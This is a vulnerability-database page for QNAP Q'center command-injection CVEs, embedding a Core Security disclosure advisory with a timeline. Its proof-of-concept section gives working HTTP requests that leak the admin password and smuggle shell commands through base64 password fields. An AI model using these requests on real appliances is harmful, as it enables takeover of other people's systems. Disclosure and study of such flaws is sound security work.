Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-78 |
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
8.8 |
HIGH |
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
nvd@nist.gov |
| V2 |
9 |
|
AV:N/AC:L/Au:S/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 45015
Publication date : 2018-07-12 22h00 +00:00
Author : Core Security
EDB Verified : Yes
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
QNAP Qcenter Virtual Appliance Multiple Vulnerabilities
1. *Advisory Information*
Title: QNAP Qcenter Virtual Appliance Multiple Vulnerabilities
Advisory ID: CORE-2018-0006
Advisory URL:
http://www.coresecurity.com/advisories/qnap-qcenter-multiple-vulnerabilities
Date published: 2018-07-11
Date of last update: 2018-07-11
Vendors contacted: QNAP
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Information Exposure [CWE-200], Command Injection [CWE-77],
Command Injection [CWE-77], Command Injection [CWE-77],
Command Injection [CWE-77]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-0706, CVE-2018-0707, CVE-2018-0708, CVE-2018-0709,
CVE-2018-0710
3. *Vulnerability Description*
QNAP's website states that:
[1] Q'center Virtual Appliance is a central management platform that
enables you to consolidate the management of multiple QNAP NAS. The
Q'center web interface gives you the ease-of-use, cost-efficiency,
convenience and flexibility to manage multiple NAS, across multiple
sites, from any internet browser.
The platform's provides centralized web-based administration to manage
the following features:
- Review HDD S.M.A.R.T. values
- Monitor system status
- Manage apps and shared folders
- Review infographice reports
Multiple vulnerabilities were found in the Q'center Virtual Appliance
web console that would allow an attacker to execute arbitrary commands
on the system.
4. *Vulnerable versions*
. Q'center Virtual Appliance Version 1.6.1056 (20170825)
. Q'center Virtual Appliance Version 1.6.1075 (20171123)
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
QNAP published the following Security Note:
. https://www.qnap.com/en-us/security-advisory/nas-201807-10
6. *Credits*
These vulnerabilities were discovered and researched by Ivan Huertas
from Core Security Consulting Services. The publication of this advisory
was coordinated by Leandro Cuozzo from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
QNAP's Q'center Virtual Appliance web console includes a functionality
that would allow an authenticated attacker to elevate privileges on the
system. We describe this issue in section 7.1.
Sections 7.2, 7.3, 7.4 and 7.5 show different methods to gain command
execution.
7.1. *Privilege escalation*
[CVE-2018-0706]
The application contains an API endpoint that returns information about
the accounts defined in the database. The information returned is
informative for all the users except for the admin user, which cames
with every installation, where an extra field is presented. This extra
field (new_password) contains the password defined at installation time
for the admin user encoded in base64.
Any authenticated user could access this API endpoint and retrieve the
admin user's password, therefore being able to login as an administrator.
The following proof of concept shows a user with viewer access
retrieving the admin's password encoded in base64 in the new_password
field.
/-----
GET /qcenter/hawkeye/v1/account?_dc=1519932315271 HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=viewer; CMS_SID=IV4P74Y16X; ROLE=1082130432;
_ID=5a9847223af7e2034924e7b6; LOGIN_TIME=1519932215818; remember=false
Connection: close
HTTP/1.1 200 OK
Date: Thu, 01 Mar 2018 19:23:43 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: application/json
Content-Length: 878
Connection: close
{
"total_count": 2,
"account": [
{
"dst_enable": false,
"name": "admin",
"default": true,
"new_password": "YWRtaW5pc3RyYWRvcg==",
"authentication": 0,
"create_time": {
"$date": 1519917983616
},
"role": 4294967295,
"timezone_code": 17,
"last_login": {
"$date": 1519929869797
},
"_id": "5a981b9f3af7e2030c883592",
"email": "",
"description": "administrator"
},
{
"dst_enable": false,
"name": "viewer",
"register_code": "",
"authentication": 0,
"create_time": {
"$date": 1519929122332
},
"role": 1082130432,
"timezone_code": 17,
"last_login": {
"$date": 1519932215818
},
"_id": "5a9847223af7e2034924e7b6",
"email": "",
"description": ""
}
]
}
-----/
As can be seen in the following excerpt, the decoded base64 data
corresponds to the plaintext administrator password set at installation
time.
/-----
$ echo YWRtaW5pc3RyYWRvcg== | base64 -d
administrador
-----/
7.2. *Command Execution in change password for the admin user*
[CVE-2018-0707]
When the admin user performs a password change, the application executes
an OS command to impact the changes. The input is not properly sanitized
when passed down to the OS, allowing an attacker to run arbitrary
commands.
/-----
POST /qcenter/hawkeye/v1/account?change_passwd HTTP/1.1
Host: 192.168.1.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.209/qcenter/
Content-Length: 118
Cookie: CMS_lang=ENG; user=admin; CMS_SID=TWYH7A55X5; ROLE=4294967295;
_ID=5a8465ba3af7e2030984c84e; LOGIN_TIME=1518714672547;
AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; remember=false
Connection: close
{"_id":"5a8465ba3af7e2030984c84e","old_password":"dGlzMzhhZWw=","new_password":"Ijt0b3VjaCAvdG1wL2NoYW5nZXBhc3M7Ig=="}
-----/
The API requires to send the password encoded in base64. This makes a
lot easier to inject command as we do not need to bypass any filters.
For the admin user in the web application, there is also a backing user
present on the OS. When a password change is requested for this user,
the values submitted to the API are included in a "sudo passwd" command,
where the injection occurs.
In this particular case, the old_password must match the current
password, which can be obtained by exploiting [CVE-2018-0706].
7.3. *Command Execution in network config update*
[CVE-2018-0708]
The admin user created at installation time can modify the network
configuration. In order to do this, the admin has to access the settings
section which is protected by the OS password (which could be obtained
using the Privilege Escalation vulnerability described above). However,
we identified that a user with the Power User profile could also execute
this function, despite access not being provided through the web
application interface. This function requires to send the admin user
password encoded in base64 in the passwd field. This value is then used
to perform a sudo operation in the OS to change the network settings. We
used the passwd field to inject command
(";touch /tmp/netconfigpower; echo "a) and create a file in /tmp/.
/-----
POST /qcenter/hawkeye/v1/network_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 87
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close
{"type":"0","dns_type":"0","passwd":"Ijt0b3VjaCAvdG1wL25ldGNvbmZpZ3Bvd2VyOyBlY2hvICJh"}
-----/
The passwd parameter is used in bash echo command unsanitized.
7.4. *Command Execution in date config update*
[CVE-2018-0709]
The admin user created at installation time is capable of modifying the
date configuration. In order to do this, the admin has to access the
settings section which is protected by the OS password (which could be
obtained using the Privilege Escalation vulnerability described above).
However, we identified that a user with the Power User profile could
execute this function, despite the access is not provided through the
web application interface. This function requires to submit the admin
user password encoded in base64 in the passwd field. This value is then
used to perform a sudo operation in the OS to change the date
configuration settings. We used the passwd field to inject command
(";touch /tmp/date_config;echo"lalala) and create a file in /tmp/.
/-----
POST /qcenter/hawkeye/v1/date_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 153
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close
{"listValue":18,"type":"1","datefield":1518663600000,"passwd":"Ijt0b3VjaCAvdG1wL2RhdGVfY29uZmlnO2VjaG8ibGFsYWxh","date":"20180215","time":"16:40:31"}
-----/
The passwd parameter is used in bash echo command unsanitized.
7.5. *Command Execution in SSH settings config update*
[CVE-2018-0710]
The admin user created at installation time is capable of modifying the
SSH configuration. In order to do this, the admin has to access the
settings section which is protected by the OS password (which could be
obtained using the Privilege Escalation vulnerability). However, we
identified that a user with the Power User profile could execute this
function, despite the access is not provided through the web application
interface. This function requires to submit the admin user password
encoded in base64 in the passwd field. This value is then used to
perform a sudo operation in the OS to change the date configuration
settings. We used the passwd field to inject command
("";touch /tmp/ssh; echo "lalalala) and create a file in /tmp/.
/-----
POST /qcenter/hawkeye/v1/ssh_setting_config HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Content-Length: 82
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=power; CMS_SID=MFVG0R9SMK; ROLE=1610612735;
_ID=5a9858ad3af7e2034924e7cc; LOGIN_TIME=1519934345000; remember=false
Connection: close
{"ssh_enable":1,"port":22,"passwd":"Ijt0b3VjaCAvdG1wL3NzaDsgZWNobyAibGFsYWxhbGE="}
-----/
The passwd parameter is used in bash echo command unsanitized.
8. *Report Timeline*
2018-03-13: Core Security sent an initial notification to QNAP,
including a draft advisory.
2018-03-14: QNAP replied that they received the draft version of the
advisory and that they would review it.
2018-03-23: Core Security requested a status update.
2018-04-10: Core Security requested a confirmation about the reported
vulnerabilities and a tentative timescale to fix them.
2018-04-12: QNAP answered saying that they were unable to reproduce the
reported vulnerabilities and asked for more detailed information to
reproduce them.
2018-04-13: Core Security sent a more detailed guide to test.
2018-04-16: QNAP confirmed reception.
2018-04-26: Core Security requested a status update.
2018-04-29: QNAP confirmed the reported vulnerabilities and informed
that their software team were working in a fixed version.
2018-05-21: Core Security requested a status update.
2018-05-28: QNAP informed that a new version of Q'center would be
release by the week of June 4.
2018-05-28: Core Security thanked for the update and proposed June 13th
as publication date.
2018-05-29: QNAP answered saying that the new Q'center release was
delayed and asked to postpone the publication a week later.
2018-05-29: Core Security asked for a solidified release date in order
to go public at the same time.
2018-06-04: QNAP informed that they didn't have a confirmed date yet.
2018-06-08: Core Security asked QNAP for a status update.
2018-06-12: QNAP notified that Q'center was under testing, for that
reason they didn't have a confirmed release date.
2018-06-25: Core Security asked again for a status update.
2018-06-27: QNAP replied that they were expecting to release their
security advisory next week Thursday or Friday.
2018-06-28: Core Security informed QNAP that recommend vendors not to
publish near the weekend and proposed Wednesday July 11th as the
publication date.
2018-07-02: Core Security asked for a confirmation about the proposed
date.
2018-06-27: QNAP confirmed July 11th as the publication date.
2018-07-11: Advisory CORE-2018-0006 published.
9. *References*
[1] https://www.qnap.com/solution/qcenter/index.php
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and
context needed to manage security risks across the enterprise. This
shared insight gives customers a comprehensive view of their security
posture to make better security remediation decisions. Better insight
allows organizations to prioritize their efforts to protect critical
assets, take action sooner to mitigate access risk, and react faster if
a breach does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
Products Mentioned
Configuraton 0
Qnap>>Q\'center >> Version To (including) 1.7.1063
References
